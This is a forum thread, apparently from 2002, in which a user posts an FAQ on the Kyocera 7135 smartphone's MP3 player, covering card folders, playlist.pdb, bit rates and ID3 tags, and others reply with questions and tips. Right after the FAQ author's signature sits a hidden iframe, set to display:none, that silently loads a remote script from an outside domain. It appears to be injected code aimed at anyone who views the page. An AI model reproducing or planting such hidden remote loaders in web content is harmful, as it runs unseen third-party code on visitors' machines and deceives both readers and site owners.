UPDATED 12/24/2002

Well, with the 7135 upon us, I thought I would add some detail to the things that have made my experience with the smartphone successful. Since the 7135 supports MP3's, and this is by far one of the first things most all of you will want to use, here are some FAQ's and tips to reduce your guesswork.

• To utilize the MP3 functionality of the 7135, you will need an SD or MMC card in the handset.
• The 7135 comes with a "MP3 Desktop" application that allows you to view the MP3's on the card, as well as add and remove more.
• The MP3's are transferred raw and unmodified.
• It is not necessary to use the MP3 Desktop to place MP3's on the MMC/SD card. You can use a SD/MMC card reader/writer to do this, provided you know what directory structure to follow (yes, Palm devices with SD/MMC card slots support VFS, or Virtual File System). The appropriate directory is /Audio/. One thing to keep in mind if this is how you choose to manage your MP3's on the cards, delete the playlist.pdb files after you have changed the MP3's in that directory. Failure to do this, will cause the MP3 player to assume (based on the existing Playlist.pdb) that nothing has changed. The absence of the playlist.pdb file forces a scan of the directory for MP3's (and their ID3 tags) to build a new playlist. The MP3 desktop does this for you.
• The 7135 has difficulties with very dynamic audio playback encoded at >128kbps. Since too much bit rate can be a problem in some cases (many of my MP3's are 160, 192, 320kbps), you will need to convert them to a 128 or lower bit rate. To do this, You can download a converter from here. Some are free, some are free to try. I use Easy CD-DA Extractor since it not only rips CD audio (CDA/WAV) from CD's into MP3's (at any bit rate I want), it also converts audio files to other formats, and can take a >128kbps MP3 and reduce it to a different bit rate of your choosing. You may have to test one or two of them to find one that fits your budget, your needs, and your functionality.
• The lower you convert your MP3 bit rates to, the smaller the file. As a rule of thumb (and basis for your rough estimates), 1MB=1 Minute @ 128kbps. With that, you can assume that a 4 minute song is 4MB's @ 128kbps, a 4 minute song @ 64kbps is 2MB's. Yes, if you can sacrifice a little sound quality, you can gain room.
• Since the 7135 cradle is capable of serial and USB, you have flexability in your connection. However, serial is considerably slower than the USB connection. I found it to take 3-4 times as long using serial. Using USB, expect a minute a megabyte. A USB MMC/SD reader/writer is much faster.

That's all I can think of at this time. I will add more as I can remember. I will also start similar posts in this FAQ forum. I will always specify the updated date at the top for your reference, with the updates in red.

A word of warning. This is a FAQ, not to be confused with a discussion. If you want to say thanks, that is fine, however asking questions here and making the FAQ grow and become useless will get posts deleted. If you have a specific comment, questions, or addition, ask it in the regular discussion forum for the 7135 and I can help there. Or of course just PM me too I will add any additional info as time progresses. And no, I am not trying to be bossy

I think with this type of "FAQ" policy, these will be more useful.

-the SynC<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Great FAQ format idea. Thanks HoTSynC.

__________________
~'kito
pdaPhoneHome Moderator

Does it simply not play >128kbps mp3s or just choke?

It stutters since it can not process the data fast enough at any higher of a bit rate.

Thanks for the great info HoTSynC... I will definitely refer back it.................. someday

I'll post my question in an appropriate thread in the 7135 discussion. Maybe you should consider creating a corresponding "discussion" thread, lock the FAQ, and link people over maybe? Just a thought off the top of my head... since everything you say is bound to lead to questions. But since only a few lucky bastages actually own a 7135 I'm sure we'll have this place running smooth as silk by the time the "big boys" release it

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Copied thread here for discussions.

Does the player choke on VBR (variable bit rate) mp3s?

HotSynch will probably have a better answer, but from my limited experience as long as the maximum bit rate is under 128K it seems to do OK with VBR's.

Yeah, it should be fine if you set your encoder to VBR up to 128 only.

According to the user's guide for the MP3, it is not compatible with Windows XP. Is that possible?

Thanks.

That was a typo. It is compatible with XP.

Alan

I am new to the MP3 music world. I have ripped some songs to a sandisk and want to play them on the 7135. I ripped directly to the sandisk and bypassed the download software. When I try to run the mp3 on 7135 it doesn't recognize that the music is on the disk. Any help?

Need to put it in a folder audio

Thanks. I did that but still no luck. I put them in a folder called audio but they still don't appear. When I look at the disk info on the 7135 it recognizes the sandisk but it also of unknown type. Its a 128mb card. Does that sound normal to give unknow disk type?

For whats this is worth I had a similar problem and I had to reformat the SD then put the files in it again. Also, do you have the playlist.pdb file in the audio folder? You may need to delete that then run the mp3 player again. Everytime you bypass the download software and put mp3's in you have to delete the playlist.pdb file. check out the FAQ's it is speeled out in there great! Good luck.

thanks. How does the playlist.pdb get created? I don't have one of those. I just copied my mp3s to the audio directory and inserted the card into the phone. My ripping software is fairly generic.

AND MAKE SURE YOUR MP3'S HAVE ID3 TAGS! (Title, Artist, etc.)

Otherwise they will be invisible to the MP3 Player.

Good point jazmaan (man I would love to c ur cd/lp collection!!), the playlist .pdb file is generated when you tap the mp3 player I believe. When I first got my card the audio folder was blank. Then I used CDex (very generic) to convert a cd to mp3's, put them on the sd using cruzer then checked it w file manager. Only the songs were there. Then I went into mp3 player and the songs were all there and I could see them. I then went to file manager and the playlist.pdb file was there o I can only assume that based on this and the FAQ's on the subject that the mp3 player creates it the first time then uses that file. Thats why if you change the mp3 files you need to delete the playlist to have it create a new one (thanks for the FAQ on this one!!).

why is USB data transfer so slow "1mb/min" ?

My digisette 64mb mp3 player does 64mb in like 5-10 minutes via USB.

__________________
Larry Ganz
http://www.jesusreigns.org
John 3:16

I don't know why the transfer rate is slow, but I do know that my Cruzer was a great investment. Next to indispensable if you're interested in putting movies on your SD card.